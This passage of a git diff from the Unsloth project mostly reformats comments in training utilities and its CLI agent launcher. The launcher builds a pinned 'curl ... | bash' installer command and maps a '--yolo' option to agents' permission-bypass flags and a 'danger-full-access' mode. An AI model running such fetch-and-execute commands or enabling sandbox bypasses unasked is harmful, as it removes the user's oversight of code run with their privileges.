``model.embed_tokens.register_forward_hook(neftune_post_forward_hook)``; ``module`` is the embedding module the hook is attached to and must carry ``neftune_noise_alpha``, ``input`` is the input tensor and ``output`` the embeddings."""if module.training:dims = torch.tensor(output.size(1) * output.size(2))mag_norm = module.neftune_noise_alpha / torch.sqrt(dims)@@ -1707,16 +1521,13 @@ except:def patch_sft_trainer_tokenizer():- """- Patches the trainer with changes- """+ """Patches the trainer with changes"""try:sft_trainer = eval(f"trl.trainer.sft_trainer.SFTTrainer")except:returnall_imports = dir(trl.trainer.sft_trainer)- # Make typing names available to the exec'd source bodies: TRL >= 1.x type-hints _prepare_dataset- # with Union[...] and friends, which become NameErrors at exec time without these imports.+ # Make typing names available to the exec'd source bodies: TRL >= 1.x type-hints _prepare_dataset with Union[...] and friends, which become NameErrors at exec time without these imports.from typing import Union, Optional, List, Any, Callable, Tuple, Dict, Iterator # noqa: F401for (@@ -1845,7 +1656,6 @@ def patch_sft_trainer_tokenizer():"fix_zero_training_loss(self.model, tokenizer, self.train_dataset)\n\n")- # Warn on gradient accumulation steps if it's usedcheck_text += ("\n""try:\n"@@ -1899,6 +1709,3 @@ def patch_sft_trainer_tokenizer():f"trl.trainer.{path_to_trainer}.{function_name} = {function_name}",globals(),)---# Finally patch TRL tokenizer things, moved to RL.diff --git a/unsloth/trainer.py b/unsloth/trainer.pyindex 7b47d027c16..8292554c064 100644--- a/unsloth/trainer.py+++ b/unsloth/trainer.py@@ -1,11 +1,8 @@# Copyright 2023-present Daniel Han-Chen & the Unsloth team. All rights reserved.-## Licensed under the Apache License, Version 2.0 (the "License");# you may not use this file except in compliance with the License.# You may obtain a copy of the License at-## http://www.apache.org/licenses/LICENSE-2.0-## Unless required by applicable law or agreed to in writing, software# distributed under the License is distributed on an "AS IS" BASIS,# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.@@ -550,7 +547,6 @@ class UnslothTrainer(SFTTrainer):target_modules = config.target_modules,)- # --- Split embedding params with custom LR (Fix #2) ---if embedding_lr is not None:# Fast param -> name lookup, O(N) instead of O(N*M).param_to_name = {id(p): name for name, p in self.model.named_parameters()}@@ -586,7 +582,6 @@ class UnslothTrainer(SFTTrainer):new_groups.append(embed_group)param_groups = new_groups- # --- Forward optimizer hyperparameters (Fix #3) ---self.optimizer = QGaLoreAdamW8bit(param_groups,lr = lr,diff --git a/unsloth/utils/__init__.py b/unsloth/utils/__init__.pyindex 9a093fedd7a..7834bc43e58 100644--- a/unsloth/utils/__init__.py+++ b/unsloth/utils/__init__.py@@ -1,15 +1,12 @@# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Lesser General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.-## You should have received a copy of the GNU Lesser General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.diff --git a/unsloth/utils/attention_dispatch.py b/unsloth/utils/attention_dispatch.pyindex 4607092f181..30622f09c4e 100644--- a/unsloth/utils/attention_dispatch.py+++ b/unsloth/utils/attention_dispatch.py@@ -1,15 +1,12 @@# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Lesser General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.-## You should have received a copy of the GNU Lesser General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.@@ -101,7 +98,6 @@ XFORMERS_BLOCK_DIAG_CLS = xformers.attn_bias.BlockDiagonalCausalMask if HAS_XFOR# dq_accum = zeros(total_q + 128 * n_seqs, n_heads, round_up(head_dim, 32)) and indexes it with# int32, so at 2**31 elements the kernel faults with an illegal memory access and poisons the CUDA# context. Forward-only never allocates dq_accum, so the guard requires a backward to be possible.-# ---- flash-attn 2 varlen backward int32 overflow guard -------------------------------------_INT32_ELEMENTS = 2**31_VARLEN_INT32_GUARD_DISABLED = os.environ.get("UNSLOTH_DISABLE_VARLEN_INT32_GUARD", "0"@@ -495,7 +491,6 @@ def run_attention(else:q_len_local = Q.shape[-2]k_len_local = K.shape[-2]- # ---- SDPA mask normalization for left padding / 2D masks ----if local_mask is not None and isinstance(local_mask, torch.Tensor):local_mask = local_mask.to(device = Q.device)diff --git a/unsloth/utils/packing.py b/unsloth/utils/packing.pyindex 1e460d7791f..f6a5ca41e92 100644--- a/unsloth/utils/packing.py+++ b/unsloth/utils/packing.py@@ -1,15 +1,12 @@# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Lesser General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU General Public License for more details.-## You should have received a copy of the GNU Lesser General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.diff --git a/unsloth/utils/prefix_grouper.py b/unsloth/utils/prefix_grouper.pyindex ad89d907821..c71a0251bcd 100644--- a/unsloth/utils/prefix_grouper.py+++ b/unsloth/utils/prefix_grouper.py@@ -1,15 +1,12 @@# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Affero General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU Affero General Public License for more details.-## You should have received a copy of the GNU Affero General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.@@ -57,7 +54,6 @@ import torchfrom .prefix_grouper_kernel import build_seg_info_multigroup, PrefixSegInfo-# ---------------------------------------------------------------------------def env_on(name: str, default: str = "0") -> bool:return os.environ.get(name, default).lower() not in ("0", "false", "no", "off")diff --git a/unsloth/utils/prefix_grouper_kernel.py b/unsloth/utils/prefix_grouper_kernel.pyindex 34457a6d74d..7480f35aa18 100644--- a/unsloth/utils/prefix_grouper_kernel.py+++ b/unsloth/utils/prefix_grouper_kernel.py@@ -1,15 +1,12 @@# Copyright 2023-present Daniel Han-Chen, Michael Han-Chen & the Unsloth team. All rights reserved.-## This program is free software: you can redistribute it and/or modify# it under the terms of the GNU Affero General Public License as published by# the Free Software Foundation, either version 3 of the License, or# (at your option) any later version.-## This program is distributed in the hope that it will be useful,# but WITHOUT ANY WARRANTY; without even the implied warranty of# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the# GNU Affero General Public License for more details.-## You should have received a copy of the GNU Affero General Public License# along with this program. If not, see <https://www.gnu.org/licenses/>.@@ -103,9 +100,6 @@ def _pad_len(T: int) -> int:return ((T + _PAD_MULTIPLE - 1) // _PAD_MULTIPLE) * _PAD_MULTIPLE-# -----------------------------------------------------------------------------@dataclassclass PrefixSegInfo:"""Per-flat-token segment metadata driving the shared-prefix block mask.@@ -256,7 +250,6 @@ def build_seg_info_multigroup(# Block-mask builder and cache, keyed on (signature, device): the mask depends only on the per-token# labels and T, so it is reused across layers and steps.-# ---------------------------------------------------------------------------_BLOCK_MASK_CACHE: Dict[Tuple, BlockMask] = {}@@ -371,9 +364,6 @@ def _run_flex(q, k, v, block_mask, enable_gqa, scale, compiled, T, T_pad):return out[:, :, :T, :]-# -----------------------------------------------------------------------------def flex_shared_prefix_attention(Q: torch.Tensor,K: torch.Tensor,diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.pyindex 73eca70c19e..459ec320ba9 100644--- a/unsloth_cli/commands/start.py+++ b/unsloth_cli/commands/start.py@@ -55,36 +55,11 @@ start_app = typer.Typer(_CODEX_PROFILE = "unsloth_api"_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"-# Codex treats an SSE stream with no bytes for this long as lost, cancels it, and-# reconnects. Its default is 300000 (5 minutes), which is measured against the WHOLE-# quiet period -- and llama-server sends nothing at all while it processes the prompt.-#-# That is not a corner case on the hardware Unsloth is for. A local CPU host chews-# through a prompt at low tens of tokens a second, and Codex's own preamble is several-# thousand tokens before the user has typed anything: 16.1 tok/s measured on a 2-core-# box means ~460s of silence for a ~7300-token first turn, so the default trips before-# the first token exists. The reconnect is worse than the wait, because llama-server-# hands the retry a different parallel slot whose KV cache shares no prefix, so each-# attempt restarts prompt processing from zero and the five retries can never converge.-# Observed as a request completing in exactly 300056ms with `Reconnecting... 1/5` and-# no turn ever finishing.-#-# 20 minutes. Sized to be longer than a slow local first turn rather than to any-# server-side budget: nothing here bounds generation, and a genuinely dead stream is-# still caught, just later. Same reason the Codex docs' own local-model example raises-# it for Ollama.+# Codex treats an SSE stream with no bytes for this long as lost, cancels it and reconnects. Its default is 300000 (5 minutes), measured against the WHOLE quiet period, and llama-server sends nothing at all while it processes the prompt. A local CPU host chews through a prompt at low tens of tokens a second and Codex's own preamble is several thousand tokens before the user has typed anything: 16.1 tok/s measured on a 2-core box means ~460s of silence for a ~7300-token first turn, so the default trips before the first token exists. The reconnect is worse than the wait, because llama-server hands the retry a different parallel slot whose KV cache shares no prefix, so each attempt restarts prompt processing from zero and the five retries can never converge. Observed as a request completing in exactly 300056ms with `Reconnecting... 1/5` and no turn ever finishing. 20 minutes here, sized to be longer than a slow local first turn rather than to any server-side budget: nothing here bounds generation, and a genuinely dead stream is still caught, just later._CODEX_STREAM_IDLE_TIMEOUT_MS = 1_200_000_HERMES_ENV_KEY = "UNSLOTH_API_KEY"_HERMES_PROVIDER = "unsloth"-# Skip the installer's interactive setup wizard: `unsloth start hermes` runs-# this hint unattended and then writes its own session-scoped Hermes config, so-# the wizard's global API-key/model prompts would block the launch and point the-# user at a different (global) provider than the one Unsloth just configured.-# Both installers expose a skip flag: `-SkipSetup` (PowerShell) and-# `--skip-setup` (POSIX; passed to the piped script via `bash -s --`). Pin both-# the fetched script and the repository checkout it performs to the same full-# commit so a later change to either upstream branch cannot silently replace-# code that Unsloth executes with the user's privileges.+# Skip the installer's interactive setup wizard: `unsloth start hermes` runs this hint unattended and then writes its own session-scoped Hermes config, so the wizard's global API-key/model prompts would block the launch and point the user at a different provider than the one Unsloth just configured. Both installers expose a skip flag: `-SkipSetup` (PowerShell) and `--skip-setup` (POSIX, passed to the piped script via `bash -s --`). Pin both the fetched script and the repository checkout it performs to the same full commit so a later change to either upstream branch cannot silently replace code that Unsloth executes with the user's privileges._HERMES_INSTALL_COMMIT = "f1af945f6c576eccb126fa955edc9be258b33020"_HERMES_INSTALL_BASE = ("https://raw.githubusercontent.com/NousResearch/hermes-agent/"@@ -98,17 +73,12 @@ _HERMES_POSIX_INSTALL_HINT = (f"curl -fsSL {_HERMES_INSTALL_BASE}/install.sh | bash -s --"f" --skip-setup --commit {_HERMES_INSTALL_COMMIT}")-# Hermes refuses to initialize when the model window is under 64,000 tokens; its-# error message points at the model.context_length / auxiliary.compression-# overrides in config.yaml. write_hermes_config claims this value for smaller-# windows and scales the compaction threshold back down to the real window.+# Hermes refuses to initialize when the model window is under 64,000 tokens; its error message points at the model.context_length / auxiliary.compression overrides in config.yaml. write_hermes_config claims this value for smaller windows and scales the compaction threshold back down to the real window._HERMES_MIN_CONTEXT = 65536_DSH_PROVIDER = "unsloth"_DSH_ENV_KEY = "UNSLOTH_API_KEY"_DSH_PACKAGE = "@deepseek-ai/dsh"-# dsh picks its sandbox+approval preset from DSH_PERMISSION_MODE via ??, so omitting it-# would inherit a danger-full-access exported in the parent shell, and "" is not unset-# to ??. Pin the mode in both directions instead of only setting it for --yolo.+# dsh picks its sandbox+approval preset from DSH_PERMISSION_MODE via ??, so omitting it would inherit a danger-full-access exported in the parent shell, and "" is not unset to ??. Pin the mode in both directions instead of only setting it for --yolo._DSH_SAFE_PERMISSION_MODE = "workspace-write"_DSH_YOLO_PERMISSION_MODE = "danger-full-access"_PI_PROVIDER = "unsloth"@@ -153,8 +123,7 @@ _CODEX_SUBAGENT_ROUTING_INSTRUCTIONS = ("subagents for other delegation requests.")_PI_SUBAGENT_EXTENSION = Path(__file__).parent.parent / "pi_subagent.ts"-# OpenCode selects a model by "<providerID>/<modelID>". Use a dedicated id to avoid-# colliding with a user's providers; provider filters are set in the launch-time overlay.+# OpenCode selects a model by "<providerID>/<modelID>". Use a dedicated id to avoid colliding with a user's providers; provider filters are set in the launch-time overlay._OPENCODE_PROVIDER = "unsloth-studio"_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}@@ -198,9 +167,7 @@ _CODEX_ENV_UNSET = ("OPENAI_API_KEY", "CODEX_API_KEY", "CODEX_ACCESS_TOKEN")# (it is absent from host-env-security-policy.json), and the codex CLI on PATH logs in with it._OPENCLAW_ENV_UNSET = ("OPENAI_API_KEY", "CODEX_API_KEY", "CODEX_ACCESS_TOKEN")-# Shared by every agent command; only the config/env/command differ.-# Help is grouped into rich panels so `--help` reads as Model / Server / Session-# instead of one long unaligned list.+# Shared by every agent command; only the config/env/command differ. Help is grouped into rich panels so `--help` reads as Model / Server / Session instead of one long unaligned list._PANEL_MODEL = "Model"_PANEL_SERVER = "Server"_PANEL_SAMPLING = "Sampling"@@ -252,8 +219,7 @@ _GPU_MEMORY_MODE_OPTION = typer.Option(),)-# Server knobs. Only used when `unsloth start` auto-starts the server (--serve);-# they have no effect when attaching to a server someone else already started.+# Server knobs. Only used when `unsloth start` auto-starts the server (--serve); they have no effect when attaching to a server someone else already started._SERVE_OPTION = typer.Option(True,"--serve/--no-serve",@@ -302,8 +268,7 @@ _REASONING_EFFORT_OPTION = typer.Option("unset, which keeps the template's level."),)-# Sampling overrides pin a value on the auto-started server (winning over the client and the-# per-model recommendation). Default unset -> the model's recommended sampling is used.+# Sampling overrides pin a value on the auto-started server, winning over the client and the per-model recommendation. Default unset means the model's recommended sampling is used._TEMPERATURE_OPTION = typer.Option(None,"--temperature",@@ -369,9 +334,7 @@ _LAUNCH_OPTION = typer.Option(rich_help_panel = _PANEL_SESSION,help = "--no-launch prints the env and command instead (remote shells, WSL).",)-# One normalized "run tools without prompting" switch. Each agent spells this-# differently and it's easy to forget which is which, so accept every spelling and-# route to the agent's own mechanism in _yolo_command_flags / the config writers.+# One normalized "run tools without prompting" switch. Each agent spells this differently and it is easy to forget which is which, so accept every spelling and route to the agent's own mechanism in _yolo_command_flags / the config writers._YOLO_OPTION = typer.Option(False,"--yolo",@@ -404,14 +367,12 @@ _AS_SUBAGENT_OPTION = typer.Option(help = "Keep the coding agent's current model and add Unsloth as a local subagent.",)-# Per-agent CLI flag for "run tools without prompting". OpenCode (native --auto is-# command-scoped, handled below) and OpenClaw (config-only) are absent from this prefix map.+# Per-agent CLI flag for "run tools without prompting". OpenCode (native --auto is command-scoped, handled below) and OpenClaw (config-only) are absent from this prefix map._YOLO_COMMAND_FLAGS = {"claude": ["--dangerously-skip-permissions"],"codex": ["--dangerously-bypass-approvals-and-sandbox"],"hermes": ["--yolo"],- # Pi never prompts per tool call; its only approval gate is project trust, so -a- # (trust project resources) is the closest "don't ask me" equivalent.+ # Pi never prompts per tool call; its only approval gate is project trust, so -a (trust project resources) is the closest "do not ask me" equivalent."pi": ["--approve"],}@@ -421,9 +382,7 @@ def _yolo_command_flags(agent: str, yolo: bool) -> list:return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else []-# Subcommands that reject --auto (OpenCode exposes it only on the default TUI and `run`),-# so `opencode serve --auto` is never emitted. Includes console/generate, hidden from-# `opencode --help` but still registered. Unknown first positionals are TUI paths -> --auto.+# Subcommands that reject --auto (OpenCode exposes it only on the default TUI and `run`), so `opencode serve --auto` is never emitted. Includes console/generate, hidden from `opencode --help` but still registered. Unknown first positionals are TUI paths and get --auto._OPENCODE_NON_AUTO_SUBCOMMANDS = frozenset("completion acp mcp attach debug providers auth agent upgrade uninstall serve web ""models stats export import github pr session plugin plug db console generate".split()@@ -453,8 +412,7 @@ def _opencode_supports_native_auto(command: str = "opencode") -> bool:return Trueexecutable = _which_with_install_dirs(command)if executable is None:- # No local binary: a --no-launch recipe may run elsewhere, and _run installs the- # current release on launch -- either way assume native --auto is available.+ # No local binary: a --no-launch recipe may run elsewhere, and _run installs the current release on launch, so either way assume native --auto is available.return Truetry:output = subprocess.check_output(@@ -490,8 +448,7 @@ def _opencode_subcommand(args: list[str]) -> tuple[Optional[str], Optional[int]]if any(arg.startswith(f"{option}=") for option in _OPENCODE_GLOBAL_VALUE_OPTIONS):index += 1continue- # A non-global option (e.g. --session) is a TUI flag; stop before its value is- # mistaken for a subcommand.+ # A non-global option (--session) is a TUI flag; stop before its value is mistaken for a subcommand.if arg.startswith("-"):return None, Nonereturn arg, index@@ -514,8 +471,7 @@ def _opencode_native_auto_args(if not v2 and subcommand in _OPENCODE_NON_AUTO_SUBCOMMANDS:return routed, Falseseparator = routed.index("--") if "--" in routed else len(routed)- # --mini's runMini TUI forces auto=false and never forwards --auto, so appending it is- # useless; fall back to the config permission block so --yolo still auto-approves.+ # --mini's runMini TUI forces auto=false and never forwards --auto, so appending it is useless; fall back to the config permission block so --yolo still auto-approves.if any(arg == "--mini" or arg.startswith("--mini=") for arg in routed[:separator]):return routed, Falseif "--auto" not in routed[:separator]:@@ -583,8 +539,7 @@ def _hermes_resume_oneshot_args(args: list[str]) -> list[str]:if arg in ("-z", "--oneshot"):rewritten[index] = "-q"elif len(arg) > 2 and arg.startswith("-z"):- # argparse accepts attached short-option values (`-zPROMPT` and- # `-z=PROMPT`); preserve the value byte-for-byte when switching to -q.+ # argparse accepts attached short-option values (`-zPROMPT` and `-z=PROMPT`); preserve the value byte-for-byte when switching to -q.rewritten[index] = f"-q{arg[2:]}"elif arg.startswith("--oneshot="):rewritten[index] = f"--query={arg.partition('=')[2]}"@@ -594,14 +549,7 @@ def _hermes_resume_oneshot_args(args: list[str]) -> list[str]:raise typer.BadParameter("Hermes cannot resume a one-shot session with --usage-file; remove that option.")- # `chat -Q -q` is the only mode that can resume a session, but it does not- # inherit hermes' one-shot approval semantics: `-z` itself sets- # HERMES_YOLO_MODE=1 and HERMES_ACCEPT_HOOKS=1 for the call (hermes_cli/- # oneshot.py in _HERMES_INSTALL_COMMIT), because a one-shot has no user at- # the terminal to answer a prompt. Re-add the equivalent flags so a resumed `-z` keeps behaving like a- # plain `-z` instead of stalling on an approval nobody can answer. This is- # parity with the flag the user already typed, not the --yolo option: a- # resumed *interactive* session still prompts as usual.+ # `chat -Q -q` is the only mode that can resume a session, but it does not inherit hermes' one-shot approval semantics: `-z` itself sets HERMES_YOLO_MODE=1 and HERMES_ACCEPT_HOOKS=1 for the call, because a one-shot has no user at the terminal to answer a prompt. Re-add the equivalent flags so a resumed `-z` keeps behaving like a plain `-z` instead of stalling on an approval nobody can answer. This is parity with the flag the user already typed, not the --yolo option: a resumed INTERACTIVE session still prompts as usual.prefix = ["chat", "-Q"]if "--yolo" not in rewritten:prefix.append("--yolo")@@ -632,8 +580,7 @@ class LoadOptions(NamedTuple):load_in_4bit: bool = Truetensor_parallel: bool = Falsegpu_memory_mode: Optional[Literal["auto", "manual"]] = None- # Names the user actually typed: --context-length 0 equals the declared default yet- # is a reset the server must hear. Appended last to keep positional callers working.+ # Names the user actually typed: --context-length 0 equals the declared default yet is a reset the server must hear. Appended last to keep positional callers working.supplied: frozenset = frozenset()def overrides(self) -> frozenset:@@ -663,12 +610,7 @@ _LOAD_OPTION_PARAMS = (def _supplied_load_params(ctx) -> frozenset:- """Which load knobs Click saw on the command line.-- The context must be PASSED IN: Typer invokes callbacks with no active click context,- so click.get_current_context() is None. Unaskable -> empty set, and `overrides()`- falls back to comparing values.- """+ """Which load knobs Click saw on the command line. The context must be PASSED IN: Typer invokes callbacks with no active click context, so click.get_current_context() is None. Unaskable gives an empty set, and `overrides()` falls back to comparing values."""getter = getattr(ctx, "get_parameter_source", None)if getter is None:return frozenset()@@ -678,8 +620,7 @@ def _supplied_load_params(ctx) -> frozenset:source = getter(name)except Exception:continue- # By member NAME, not identity or ordering: Typer vendors its own click, so this- # is typer._click's ParameterSource, and click 8.3 reordered the IntEnum.+ # By member NAME, not identity or ordering: Typer vendors its own click, so this is typer._click's ParameterSource, and click 8.3 reordered the IntEnum.if getattr(source, "name", None) == "COMMANDLINE":supplied.add(name)return frozenset(supplied)@@ -716,15 +657,7 @@ class ServerOptions(NamedTuple):def _split_repo_variant(model: str) -> tuple:- """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``.-- ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for- ``--model org/name --gguf-variant QUANT``. Mirror that here so a ``:variant`` suffix- resolves against the already-loaded ``org/name`` (which /v1/models lists without the- suffix) instead of trying to load a repo id containing ``:`` -- which Hugging Face- rejects, and which would evict a model another session is using. Local paths, Windows- drive letters, and ids without a ``:`` pass through unchanged.- """+ """Split ``org/name:QUANT`` into ``("org/name", "QUANT")``. ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for ``--model org/name --gguf-variant QUANT``, so mirror that here and a ``:variant`` suffix resolves against the already-loaded ``org/name`` (which /v1/models lists without the suffix) instead of trying to load a repo id containing ``:``, which Hugging Face rejects and which would evict a model another session is using. Local paths, Windows drive letters and ids without a ``:`` pass through unchanged."""s = (model or "").strip()if not s or s.startswith(("/", "./", "../", "~")) or s == ".":return s, None@@ -739,12 +672,7 @@ def _split_repo_variant(model: str) -> tuple:def _looks_like_model(token: str) -> bool:- """True for a bare `org/name(:variant)` hub id that is not a flag or a local path.-- Reuses `_is_hub_model_id`, so a relative dir like `owner/repo` that actually exists- is left for the agent (e.g. OpenCode opens it as a project) instead of being taken- as a model; a non-existent `org/name` is treated as a hub id.- """+ """True for a bare `org/name(:variant)` hub id that is not a flag or a local path. Reuses `_is_hub_model_id`, so a relative dir like `owner/repo` that actually exists is left for the agent instead of being taken as a model; a non-existent `org/name` is treated as a hub id."""if not token or token.startswith("-") or " " in token:return Falserepo, _ = _split_repo_variant(token)@@ -752,12 +680,7 @@ def _looks_like_model(token: str) -> bool:def _consume_positional_model(model: Optional[str], args: list) -> tuple:- """Route a leading `org/name` positional to --model when --model was not given.-- Only the FIRST token is considered so an option value like `--profile owner/repo`- is never stolen, and only when --model is absent so an explicit --model always wins.- Returns (model, remaining_args) with the consumed token removed from the passthrough.- """+ """Route a leading `org/name` positional to --model when --model was not given. Only the FIRST token is considered so an option value like `--profile owner/repo` is never stolen, and only when --model is absent so an explicit --model always wins. Returns (model, remaining_args) with the consumed token removed from the passthrough."""args = list(args)if model or not args or not _looks_like_model(args[0]):return model, args@@ -778,13 +701,7 @@ def _subagent_model_id(requested_model: Optional[str],requested_variant: Optional[str],) -> str:- """Return an API model id that preserves the selected GGUF variant.-- Coding-agent model definitions outlive the initial load. If Unsloth later- unloads the model, a bare repository id may resolve to a different cached- quant. Include the explicit or currently loaded variant so an automatic- reload selects the same weights.- """+ """Return an API model id that preserves the selected GGUF variant. Coding-agent model definitions outlive the initial load, so if Unsloth later unloads the model a bare repository id may resolve to a different cached quant; include the explicit or currently loaded variant so an automatic reload selects the same weights."""model_id = str(entry["id"])_, inline_variant = _split_repo_variant(requested_model or "")variant = requested_variant or inline_variant@@ -803,8 +720,7 @@ def _subagent_model_id(if variant and _is_hub_model_id(model_id):return _display_model_spec(model_id, str(variant))if variant:- # A path load is advertised as a bare basename with no ":variant" channel,- # so the quant cannot be recorded and a later reload picks for itself.+ # A path load is advertised as a bare basename with no ":variant" channel, so the quant cannot be recorded and a later reload picks for itself.typer.echo(f"Warning: {model_id} loaded from a path, so the subagent config cannot "f"pin the {variant} quant; a reload may choose a different one. Load the "@@ -856,8 +772,7 @@ def _http_json(# No redirects: a 3xx would leak this bearer token to an unvetted base.with urlopen_no_redirect(request, timeout = timeout) as response:body = json.loads(response.read().decode() or "{}")- # A padded /load or /unload commits its 200 early, so a late failure arrives- # in-band; raise it as the HTTPError handled below.+ # A padded /load or /unload commits its 200 early, so a late failure arrives in-band; raise it as the HTTPError handled below.return raise_for_deferred_error(url, body)except urllib.error.HTTPError as exc:if error is None:@@ -869,9 +784,7 @@ def _http_json(_fail(f"{error}: {getattr(exc, 'reason', None) or exc}")-# A server that WE auto-started (never one we merely found). Kept at module scope so-# failure paths and the atexit backstop can tear it down without threading a handle-# through all six agent commands. Only one agent runs per process, so one slot is enough.+# A server that WE auto-started (never one we merely found). Kept at module scope so failure paths and the atexit backstop can tear it down without threading a handle through all six agent commands. Only one agent runs per process, so one slot is enough._auto_served_server: Optional[subprocess.Popen] = None# Model download + load can be slow, so this caps time since the download last# advanced, not total elapsed time (see `_start_studio_server`).@@ -923,8 +836,7 @@ class _DownloadProgressDisplay:fraction = float(progress.get("progress") or 0)if downloaded <= 0:return- # A fully cached snapshot can report 99% with no incomplete bytes; that is- # not a transfer, so don't show it as a download.+ # A fully cached snapshot can report 99% with no incomplete bytes; that is not a transfer, so do not show it as a download.if completed >= downloaded > 0:return@@ -1019,8 +931,7 @@ class _ModelDownloadProgress:self._configured = Trueif self._disabled:return- # GGUF repos need the selected quant's size; the repo endpoint totals every- # quant. Resolve the variant first, otherwise show bytes only.+ # GGUF repos need the selected quant's size; the repo endpoint totals every quant. Resolve the variant first, otherwise show bytes only.if self._variant or "gguf" in self._model.lower():try:params = urlencode({"repo_id": self._model})@@ -1157,8 +1068,7 @@ def _load_model_with_progress(ok, value = result[0]if not ok:assert isinstance(value, BaseException)- # A pad-only or half-written body fails `_http_json`'s json.loads: report- # the padded 200 that never completed, not a JSON error from the API.+ # A pad-only or half-written body fails `_http_json`'s json.loads: report the padded 200 that never completed, not a JSON error from the API.if isinstance(value, ValueError):require_completed_padded_body(load_url, None)raise value@@ -1191,14 +1101,11 @@ def _redacted_log_tail(path: Path, lines: int = 20) -> str:def _shutdown_server(server: Optional[subprocess.Popen]) -> None:- # Idempotent teardown of a server WE started, plus its own children (llama-server,- # cloudflared). A no-op once the process is already gone.+ # Idempotent teardown of a server WE started, plus its own children (llama-server, cloudflared). A no-op once the process is already gone.if server is None or server.poll() is not None:returnif os.name == "nt":- # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the- # whole tree so the llama-server child doesn't keep the port and GPU (matches the- # taskkill /T /F pattern already used in unsloth/dataprep/synthetic.py).+ # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the whole tree so the llama-server child does not keep the port and GPU.try:subprocess.run(["taskkill", "/PID", str(server.pid), "/T", "/F"],@@ -1248,23 +1155,15 @@ def _start_studio_server() -> subprocess.Popen:"""Spawn `unsloth run` for `model`, wait until it is fully ready, and return it."""global _auto_served_server- # Windows goes through this interpreter, not the launcher on PATH: shutil.which- # resolves `unsloth` to the denied unsloth.exe, since PATHEXT puts .EXE ahead of- # the .cmd shim (issue #8490). Without this, a user who reached the CLI through- # unsloth.cmd would still fail here. sys.executable is the interpreter already- # running this command, so the child inherits the same environment.+ # Windows goes through this interpreter, not the launcher on PATH: shutil.which resolves `unsloth` to the denied unsloth.exe, since PATHEXT puts .EXE ahead of the .cmd shim (#8490). Without this, a user who reached the CLI through unsloth.cmd would still fail here. sys.executable is the interpreter already running this command, so the child inherits the same environment.if sys.platform == "win32":- # Local import: unsloth_cli.commands.studio imports at package init after- # this module, so a top-level import would be circular.+ # Local import: unsloth_cli.commands.studio imports at package init after this module, so a top-level import would be circular.from unsloth_cli.commands.studio import _managed_cli_argvlaunch_head = _managed_cli_argv(Path(sys.executable))else:launch_head = [shutil.which("unsloth") or "unsloth"]parsed = urlparse(base)- # Tools default off = passthrough mode (relay the agent's own tools); --no-cloudflare =- # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh. Healing/nudging- # travel via the child env below (version-agnostic) rather than new run flags that an- # older re-exec'd run could mistake for llama-server args.+ # Tools default off means passthrough mode (relay the agent's own tools); --no-cloudflare means loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh. Healing/nudging travel via the child env below (version-agnostic) rather than new run flags that an older re-exec'd run could mistake for llama-server args.command = [*launch_head,"run",@@ -1292,30 +1191,18 @@ def _start_studio_server(typer.echo("Starting Unsloth server")typer.echo(f"Model: {_display_model_spec(model, load.gguf_variant)}")typer.echo(f"Server log: {log_path}")- # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and- # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid- # reuse) can't survive with its old permissions.+ # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid reuse) cannot survive with its old permissions.log_path.unlink(missing_ok = True)log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb")- # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the- # server. It survives a successful agent session; torn down on startup/launch failure.+ # Own session/process group so a mid-session Ctrl+C (cancel a turn) does not reach the server. It survives a successful agent session; torn down on startup/launch failure.child_env = os.environ.copy()- # Current llama-server versions read this documented env equivalent of --reasoning.- # Older managed versions ignore an unknown env variable instead of failing startup on- # an unknown passthrough CLI flag. An omitted start option follows the model template.+ # Current 